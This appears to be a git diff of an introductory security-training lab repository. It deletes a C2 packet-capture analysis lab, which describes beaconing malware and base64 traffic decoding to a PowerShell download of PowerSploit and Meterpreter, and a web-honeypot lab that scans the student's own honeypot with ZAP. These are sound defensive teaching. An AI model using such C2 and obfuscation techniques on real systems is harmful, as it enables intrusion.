+![](attachments/nessus_officefiles.png) + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/Nmap/Nmap.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/DeepBlueCLI.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + + + diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-12-30.png b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-12-30.png new file mode 100755 index 00000000..7ea480f6 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-12-30.png differ diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-12-53.png b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-12-53.png new file mode 100755 index 00000000..ff3f63a8 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-12-53.png differ diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-13-36.png b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-13-36.png new file mode 100755 index 00000000..f002ee55 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-13-36.png differ diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-20-18.png b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-20-18.png new file mode 100755 index 00000000..9c7a11d7 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-20-18.png differ diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-24-01.png b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-24-01.png new file mode 100755 index 00000000..3279b8f3 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Clipboard_2020-06-18-09-24-01.png differ diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Navintolabs.png b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Navintolabs.png new file mode 100644 index 00000000..9fa4f345 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/Navintolabs.png differ diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/OpeningFileExplorer.png b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/OpeningFileExplorer.png new file mode 100644 index 00000000..7c3066b3 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/OpeningFileExplorer.png differ diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_home.png b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_home.png new file mode 100644 index 00000000..3da7e45e Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_home.png differ diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_navtonessus.png b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_navtonessus.png new file mode 100644 index 00000000..5eb7c6de Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_navtonessus.png differ diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_officefiles.png b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_officefiles.png new file mode 100644 index 00000000..66fa926a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_officefiles.png differ diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_telnetserver.png b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_telnetserver.png new file mode 100644 index 00000000..ac1096b1 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/attachments/nessus_telnetserver.png differ diff --git a/IntroClassFiles/Tools/IntroClass/pcap/AdvancedC2PCAPAnalysis.md b/IntroClassFiles/Tools/IntroClass/pcap/AdvancedC2PCAPAnalysis.md deleted file mode 100644 index 58b29726..00000000 --- a/IntroClassFiles/Tools/IntroClass/pcap/AdvancedC2PCAPAnalysis.md +++ /dev/null @@ -1,178 +0,0 @@ -![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) -  - -# Advanced C2 PCAP Analysis  - -   - -First, we will need to open the Kali Terminal.  - -![image](https://github.com/user-attachments/assets/5e926625-9b95-4c77-9398-819b30f84051) - - -Now, we should move to the proper directory. -   - -`cd /opt/covert`  - -   - -It should look like this:  - -   - -![image](https://github.com/user-attachments/assets/bb84eda1-86bf-411a-8d38-45be7ac587eb) - - -   - -Next, we will run some tcpdump commands to analyze the pcap file.  - -   - -`sudo tcpdump -nA -r covertC2.pcap | less`  - -![image](https://github.com/user-attachments/assets/4e6077f3-1c27-4b57-8aad-3f199737b303) - - -   - -The –nA option tells tcpdump not to resolve names (n) and print the ASCII text of the packet (A). You are reading in a file with the (-r) option and piping the data ( | ) through less so you can view it section by section.   - -   - -It should look like this:  - -   - -![image](https://github.com/user-attachments/assets/523443ca-8f56-47df-81d7-b9d112c49157) - - -   - -Hit spacebar till you see a line with VIEWSTATE in it.  - -   - -It should look like this:  - -   - -![image](https://github.com/user-attachments/assets/ae1ae54e-2f90-4c58-89c1-3c920f719a1e) - - -   - -Press `q` to close the tcpdump session.  - -   - -One of the interesting things about many malware specimens we review these days is how they “wait” for the attacker to communicate with them. For example, in the sample malware traffic we are reviewing, the backdoor “beacons” out every 30 seconds. This is for two reasons. One is because the attacker might not be at a system waiting for a command shell on a compromised target and. Secondly, because long-term established sessions tend to attract attention. This is because with protocols such as HTTP, the sessions are generally short burst sessions for multiple objects. When this backdoor was created, we wanted it to act like real HTTP. So, it had to have an asynchronous component to it. -   - -In the capture, the SYN packets are roughly 30 seconds apart for the beacon traffic.   - -   - -To see the SYN packets, simply run the following command:   - -   - -`sudo tcpdump -r covertC2.pcap 'tcp[13] = 0x02' | less`  - -   - -It should look like this:  - -   - -![image](https://github.com/user-attachments/assets/13a5ca2e-49de-473d-b322-8a930115781c) - - -   - -This filter shows all packets with the SYN bit (0x02) set in the 13th byte offset in the TCP/IP header (tcp[13]).   - -   - -   - -Note the time difference between the packets. You can see at the beginning that they are 30 seconds apart.   - -   - -Run the following command to grep any other instances of “hidden”:   - -   - -`sudo tcpdump -nA -r covertC2.pcap | grep "hidden"`  - -   - -It should look like this:  - -   -![image](https://github.com/user-attachments/assets/d0c3b58f-94b6-4bf8-93a8-8564257be69b) - - -   - -You should see a number of returned lines. If you look at these values, you see what appears to be random data followed by an = sign. This could mean it is Base64 encoded data. Does this mean it is evil? Not necessarily. It just means it is interesting.   - -   - -However, you can quickly prove or disprove this hypothesis by using Python to decode the data. If it is Base64, it will decode, and you will see ASCII characters. If not, you will keep looking.   - -   - -Either way, it is a fun opportunity to play with Python.  - -   - -Well now, when you look at the VIEWSTATE parameters, you can see they are not consistent.   - -   - -You can also see that it appears to be Base64 encoded.   - -   - -   - -Now for a challenge. What is this Base64 encoded data?  - -   - -   - -Here is one solution,  - -   - -![](attachment/Clipboard_2021-03-12-08-46-15.png)  - -   - -When you do this, you can quickly see that the Base64 encoded data is a PowerShell command to download and execute Powersploit, which then invokes a Metasploit Meterpreter on the system.   - -   - -Attackers can also pseudo-randomly include extra characters designed to break automated decoding. This is a remarkably simple, yet effective, technique that then requires a responder to manually find and remove the ever-changing characters in order to decode the communications.  - -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) - -   - -   - -   - -   - -   - -   - -  - -  diff --git a/IntroClassFiles/Tools/IntroClass/webhoneypot/webhoneypot.md b/IntroClassFiles/Tools/IntroClass/webhoneypot/webhoneypot.md deleted file mode 100644 index 26fd2c19..00000000 --- a/IntroClassFiles/Tools/IntroClass/webhoneypot/webhoneypot.md +++ /dev/null @@ -1,175 +0,0 @@ -![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) - - -# Web Honeypot - - - -In this lab we will be running a very simple web honeypot. Basically, it runs a fake Outlook Web Access page and logs the attacks. - - - -This is a good approach as attackers constantly go after anything that looks like an authentication portal. - - - -Let's get started. - - - -First we will need to open a Kali Terminal: - -![image](https://github.com/user-attachments/assets/ef855265-729c-4054-ad3e-759c9ad3a3ec) - - -Next, change directories to the /opt/owa-honeyport directory: - - - -`cd /opt/owa-honeypot/` - - - -![image](https://github.com/user-attachments/assets/85d0b4c0-b933-459f-8ca6-45ec5687acc6) - - - - -Now, let's start the honeypot: - - - -`sudo python3 owa_pot.py` - - - -It should look like this: - - ![image](https://github.com/user-attachments/assets/c7e33623-5050-4772-8767-e22fe0da9259) - - - -Now, let's start another Kali Terminal. - -![image](https://github.com/user-attachments/assets/ef855265-729c-4054-ad3e-759c9ad3a3ec) - - - -Let's get your Kali IP address. - - - -`ifconfig` - -![image](https://github.com/user-attachments/assets/0f927bdf-a032-41a1-bd40-68fb41fd9959) - - -Then, navigate to the owa-honeypot directory. - - - -`cd /opt/owa-honeypot/` - - -![image](https://github.com/user-attachments/assets/ec61ff20-6aae-44fa-b920-fcb723f3c3aa) - - - - -Now, lets tail the dumppass log. - - - -`tail -f dumpass.log` - - - -![image](https://github.com/user-attachments/assets/1877a55c-9717-4428-a08b-38c6ea40af2f) - - - - -Now, let's open a browser window and surf to the honeypot: - - - -`http://YOURLINUXIP` - - - -Now, try a bunch of User IDs and passwords. - - - -Now, go back to the Kali Terminal with the log and you should see the IP address and USerID/Password of the attempts. - - -![image](https://github.com/user-attachments/assets/71dbd425-29d1-46b1-9ed1-dc32d05fd595) - - - -Now, let's attack it. - - - -Select OWASP ZAP on your desktop. - - - -![image](https://github.com/user-attachments/assets/6493b57a-bb9d-4886-8e15-735ce63a93c7) - - - -Once ZAP! opens, select Automated Scan: - - - -![](attachment/Clipboard_2021-03-12-11-48-15.png) - - - -When Automated Scan opens, please put you Kali Linux IP in the URL to attack box and select Attack. - - - -It should look like this: - -![image](https://github.com/user-attachments/assets/c291f9f9-3730-49a6-a874-7d7df5dc5d8e) - - -After a while, you should see some attack strings in your Logs. - - -![image](https://github.com/user-attachments/assets/00bb3500-361f-4d28-9bb5-c5769d50cc53) - - - -Yes... Some attack tools are as obvious as ZAP:ZAP. - -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/IntroClassFiles/Tools/WINlab-64bit.exe b/IntroClassFiles/Tools/WINlab-64bit.exe deleted file mode 100644 index 70768911..00000000 Binary files a/IntroClassFiles/Tools/WINlab-64bit.exe and /dev/null differ diff --git a/IntroClassFiles/Tools/final.apk b/IntroClassFiles/Tools/final.apk deleted file mode 100644 index a28e86ac..00000000 Binary files a/IntroClassFiles/Tools/final.apk and /dev/null differ diff --git a/IntroClassFiles/Tools/format.css b/IntroClassFiles/Tools/format.css deleted file mode 100755 index 5e1e05bc..00000000 --- a/IntroClassFiles/Tools/format.css +++ /dev/null @@ -1,12 +0,0 @@ -pre { - background-color:#D0D0CF; -} - -table { - border-collapse:collapse; -} - -td, th { - padding:5px; - border: 1px solid black; -} \ No newline at end of file diff --git a/IntroClassFiles/index.html b/IntroClassFiles/index.html deleted file mode 100755 index 188853aa..00000000 --- a/IntroClassFiles/index.html +++ /dev/null @@ -1,215 +0,0 @@ - - - - - Active Defense Harbinger Distribution - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-

Hey! Labs not loading because an update got you down? No problem. Just open a Bash Shell as Administrator from Windows Terminal and paste in the following:

- bash -c "tmux new -d -s websrv; tmux send 'cd /mnt/c/IntroLabs/IntroClassFiles/ && python3 -m http.server 8888 &' ENTER;" -

Hit Enter, then open this URL in Edge inside the VM: http://localhost:8888/

- - diff --git a/IntroClassFiles/index.md b/IntroClassFiles/index.md deleted file mode 100755 index 51f2775b..00000000 --- a/IntroClassFiles/index.md +++ /dev/null @@ -1,41 +0,0 @@ -Welcome to the Black Hills Information Security Intro To Security Class! - - - -Brought to you by: - - - -![image-20200713093457194](C:\Users\adhd\AppData\Roaming\Typora\typora-user-images\image-20200713093457194.png) - - - -https://www.blackhillsinfosec.com/ - - - - - -And.. - - - -[![Active Countermeasures](https://www.activecountermeasures.com/wp-content/uploads/2018/08/acm_header_logo.png)](https://www.activecountermeasures.com/) - - - - - -https://www.activecountermeasures.com/ - - - -Check out our other training at: - - - -https://wildwesthackinfest.com/online-training/ - - - -![image-20200713093425282](C:\Users\adhd\AppData\Roaming\Typora\typora-user-images\image-20200713093425282.png) \ No newline at end of file diff --git a/IntroClassFiles/mdwiki-0.6.2/GPLv3.txt b/IntroClassFiles/mdwiki-0.6.2/GPLv3.txt deleted file mode 100755 index 94a9ed02..00000000 --- a/IntroClassFiles/mdwiki-0.6.2/GPLv3.txt +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed 